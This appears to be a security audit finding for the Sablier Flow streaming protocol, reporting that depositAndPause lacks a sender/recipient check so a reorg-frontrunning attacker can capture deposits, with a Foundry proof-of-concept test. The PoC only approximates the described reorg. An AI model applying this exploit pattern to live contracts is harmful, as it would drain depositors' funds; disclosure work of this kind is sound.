The vulnerability in the protocol arises from the lack of a verification check in the depositAndPause
function, which allows for potential exploitation during a reorg attack. In this scenario, an attacker can frontrun the transaction of a legitimate sender, creating a stream with the same ID but with themselves as the recipient and a much higher rate per second. As a result, when the legitimate sender deposits tokens into their stream, the funds are instead credited to the attacker's stream, enabling the attacker to withdraw all deposited tokens almost immediately. This flaw poses a significant risk to the integrity of the token transfer system.
According to the known issues of the protocol, "a reorg attack can change a stream's parameters except for the sender and recipient." However, this statement is not entirely accurate. A reorg attack can still occur because the depositAndPause
function does not include the check _verifyStreamSenderRecipient
. This allows an attacker to exploit this vulnerability to access the tokens deposited by the sender through the depositAndPause
function.
Alice is a sender who creates a stream with Bob as the recipient, and the Stream ID is 5
. Shortly after the stream is created, Alice wants to deposit some tokens into it. She does this by calling depositAndPause
, depositing 100e18 tokens.
Then, a network reorg occurs.
Eve observes this and frontruns Alice's transaction for stream creation, creating a stream with the same Stream ID of 5
. However, Eve inputs herself as the recipient and sets the rate per second (RPS) to 1000e18. Let’s assume Eve's transaction executes at timestamp X
, and Alice's depositAndPause
transaction executes at X + 1
. Since the Stream ID inputted by Alice is also 5
, the deposited amount will be credited to Eve's stream instead of Bob's. Given that Eve's stream has a significantly higher RPS, she can withdraw all the tokens within just one second.
pragma solidity >=0.8.22;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Test } from "forge-std/src/Test.sol";
import { FlowNFTDescriptor } from "src/FlowNFTDescriptor.sol";
import { SablierFlow } from "src/SablierFlow.sol";
import { ERC20MissingReturn } from "./mocks/ERC20MissingReturn.sol";
import { ERC20Mock } from "./mocks/ERC20Mock.sol";
import { Assertions } from "./utils/Assertions.sol";
import { Modifiers } from "./utils/Modifiers.sol";
import { Users } from "./utils/Types.sol";
import { Utils } from "./utils/Utils.sol";
import { Vars } from "./utils/Vars.sol";
import { ud21x18, UD21x18 } from "@prb/math/src/UD21x18.sol";
contract Base_Test is Assertions, Modifiers, Test, Utils {
VARIABLES
Users internal users;
Vars internal vars;
TEST CONTRACTS
ERC20Mock internal tokenWithoutDecimals;
ERC20Mock internal tokenWithProtocolFee;
ERC20Mock internal dai;
ERC20Mock internal usdc;
ERC20MissingReturn internal usdt;
SablierFlow internal flow;
FlowNFTDescriptor internal nftDescriptor;
SET-UP FUNCTION
function setUp() public virtual {
users.admin = payable(makeAddr("admin"));
if (!isBenchmarkProfile() && !isTestOptimizedProfile()) {
nftDescriptor = new FlowNFTDescriptor();
flow = new SablierFlow(users.admin, nftDescriptor);
} else {
flow = deployOptimizedSablierFlow();
}
vm.label(address(flow), "Flow");
createAndLabelTokens();
resetPrank(users.admin);
flow.setProtocolFee(tokenWithProtocolFee, PROTOCOL_FEE);
users.broker = createUser("broker");
users.eve = createUser("eve");
users.operator = createUser("operator");
users.recipient = createUser("recipient");
users.sender = createUser("sender");
resetPrank(users.sender);
vm.warp({ newTimestamp: OCT_1_2024 });
}
HELPERS
function createAndLabelTokens() internal {
tokenWithoutDecimals = createToken("Token without Decimals", "TWD", 0);
tokenWithProtocolFee = createToken("Token with Protocol Fee", "TPF", 6);
dai = createToken("Dai stablecoin", "DAI", 18);
usdc = createToken("USD Coin", "USDC", 6);
usdt = new ERC20MissingReturn("Tether", "USDT", 6);
vm.label(address(tokenWithoutDecimals), "TWD");
vm.label(address(tokenWithProtocolFee), "TPF");
vm.label(address(dai), "DAI");
vm.label(address(usdc), "USDC");
vm.label(address(usdt), "USDT");
}
function createToken(uint8 decimals) internal returns (ERC20Mock) {
return createToken("", "", decimals);
}
function createToken(string memory name, string memory symbol, uint8 decimals) internal returns (ERC20Mock) {
return new ERC20Mock(name, symbol, decimals);
}
function createUser(string memory name) internal returns (address payable) {
address payable user = payable(makeAddr(name));
vm.deal({ account: user, newBalance: 100 ether });
deal({ token: address(tokenWithoutDecimals), to: user, give: 1_000_000 });
deal({ token: address(tokenWithProtocolFee), to: user, give: 1_000_000e6 });
deal({ token: address(dai), to: user, give: 1_000_000e18 });
deal({ token: address(usdc), to: user, give: 1_000_000e6 });
deal({ token: address(usdt), to: user, give: 1_000_000e6 });
resetPrank(user);
dai.approve({ spender: address(flow), value: UINT256_MAX });
usdc.approve({ spender: address(flow), value: UINT256_MAX });
usdt.approve({ spender: address(flow), value: UINT256_MAX });
return user;
}
function deployOptimizedSablierFlow() internal returns (SablierFlow) {
nftDescriptor = FlowNFTDescriptor(deployCode("out-optimized/FlowNFTDescriptor.sol/FlowNFTDescriptor.json"));
return SablierFlow(
deployCode(
"out-optimized/SablierFlow.sol/SablierFlow.json", abi.encode(users.admin, address(nftDescriptor))
)
);
}
CALL EXPECTS
function expectCallToTransfer(address to, uint256 amount) internal {
vm.expectCall({ callee: address(dai), data: abi.encodeCall(IERC20.transfer, (to, amount)) });
}
function expectCallToTransfer(IERC20 token, address to, uint256 amount) internal {
vm.expectCall({ callee: address(token), data: abi.encodeCall(IERC20.transfer, (to, amount)) });
}
function expectCallToTransferFrom(address from, address to, uint256 amount) internal {
vm.expectCall({ callee: address(dai), data: abi.encodeCall(IERC20.transferFrom, (from, to, amount)) });
}
function expectCallToTransferFrom(IERC20 token, address from, address to, uint256 amount) internal {
vm.expectCall({ callee: address(token), data: abi.encodeCall(IERC20.transferFrom, (from, to, amount)) });
}
function testReorg() public {
address Bob = makeAddr("bob");
address Alice = makeAddr("Alice");
ERC20Mock tok = createToken("Tok stablecoin", "TOK", 18);
deal({ token: address(tok), to: Alice, give: 1000e18 });
vm.startPrank(Bob);
uint256 streamId = flow.create(Alice, Bob, UD21x18.wrap(1000e18), tok, true);
vm.stopPrank();
skip(block.timestamp + 2);
vm.startPrank(Alice);
tok.approve(address(flow), 100e18);
flow.depositAndPause(streamId, 100e18);
vm.stopPrank();
vm.startPrank(Bob);
flow.withdrawMax(streamId, Bob);
assertEq(tok.balanceOf(address(flow)), 0);
}
}
Loss of funds for the sender.